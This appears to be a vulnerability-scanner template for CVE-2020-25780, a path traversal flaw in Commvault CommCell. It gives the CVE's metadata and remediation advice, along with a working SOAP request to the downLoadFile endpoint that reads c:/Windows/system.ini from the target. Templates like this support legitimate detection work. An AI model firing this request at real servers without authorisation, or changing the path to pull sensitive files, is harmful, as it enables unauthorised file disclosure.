Commvault CommCell - Local File Inclusion

id: CVE-2020-25780

info:
  name: Commvault CommCell - Local File Inclusion
  author: pdteam
  severity: high
  description: CommCell in Commvault before 14.68, 15.x before 15.58, 16.x before 16.44, 17.x before 17.29, and 18.x before 18.13 are vulnerable to local file inclusion because an attacker can view a log file can instead view a file outside of the log-files folder.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the system.
  remediation: |
    Apply the latest security patches or updates provided by Commvault to fix the local file inclusion vulnerability.
  reference:
    - https://srcincite.io/blog/2021/11/22/unlocking-the-vault.html
    - http://kb.commvault.com/article/63264
    - https://nvd.nist.gov/vuln/detail/CVE-2020-25780
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-25780
    cwe-id: CWE-22
    epss-score: 0.0562
    epss-percentile: 0.93279
    cpe: cpe:2.3:a:commvault:commcell:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: commvault
    product: commcell
  tags: cve,cve2020,commvault,lfi

http:
  - method: POST
    path:
      - "http://{{Host}}:81/SearchSvc/CVSearchService.svc"

    body: |
      <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
         <soapenv:Header/>
         <soapenv:Body>
            <tem:downLoadFile>
               <tem:path>c:/Windows/system.ini</tem:path>
            </tem:downLoadFile>
         </soapenv:Body>
      </soapenv:Envelope>

    headers:
      Cookie: Login
      soapaction: http://tempuri.org/ICVSearchSvc/downLoadFile
      content-type: text/xml

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "downLoadFileResult"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100f409ab21ddff06ab69a7920325d0b3cc78dfdd5af155f47cd30aa624ab36abba02210086000cc7f01d28e6ae277b6741bcb4d2af8f883943314293b7216f8e7f4bc0de:922c64590222798bb761d5b6d8e72950